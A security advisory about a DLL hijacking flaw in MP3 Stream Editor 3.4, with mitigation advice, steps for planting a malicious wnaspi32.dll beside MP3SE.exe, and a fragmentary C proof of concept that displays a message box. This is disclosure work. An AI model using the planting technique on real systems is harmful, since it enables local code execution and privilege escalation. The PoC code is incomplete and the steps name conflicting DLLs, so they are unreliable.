MP3 Stream Editor 3.4 – Insecure Library Loading/Code Execution

A local dll injection vulnerability has been discovered in the official MP3 Stream Editor v3.4 software. The issue allows local attackers to inject code to vulnerable dynamic link libraries to compromise the process or to finally gain higher access privileges.

Vulnerable Librarie(s):
[+] wnaspi32.dll

Product & Service Introduction:

MP3 Stream Editor is an audio tool, built around the visual non destructive MP3 and other compressed format editor that is you can edit MP3 audio without decoding and quality loss on a convenient 3D display with the mouse. It includes option to repair corrupted MP3 files, free Encode, re-encode, convert to WAV, cut and join MP3s, tag MP3s with a professional ID3v2 Tag editor, and burn them as audio CDs or MP3 CD/DVDs.

(Copy of the Vendor Homepage:

Date of Discovery:


Exploitation Technique:


Platfom Tested:

Windows 7

Solution – Fix & Patch:

1/ Whenever possible, use a full path when loading a library.
2/ Delete the current directory from the search path by using ‘SetDLLDirectory;’
3/ Do not use ‘SearchPath’ to locate a library. ‘SearchPath’ was not intended to search for libraries to load into the application’s process space and uses an unsecured search order.
4/ Do not attempt to load libraries only to identify the version of Windows. Instead, use ‘GetVersionEx’ or a similar function offered by the Windows API.

Levels Risk :

Proof of Concept (PoC):

The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the local vulnerability ...
1. Compile dynamic link library
2. Rename to wnaspi32.dll 
2. Copy nvcuvenc.dll to the "C:/Program Files/MP3 Stream Editor/MP3SE.exe" file path
3. Launch MP3SE.exe
4. MessageBox executes that verifies the dll inject as successful!

-- PoC Exploit --
#define DllExport __declspec (dllexport)

DWORD fdwReason,
LPVOID lpvReserved)
return 0;

int dll_hijack()
MessageBox(0, "DLL Hijack ZwX!", "DLL Message", MB_OK);
return 0;

Soyez le premier à commenter

Poster un Commentaire

Votre adresse de messagerie ne sera pas publiée.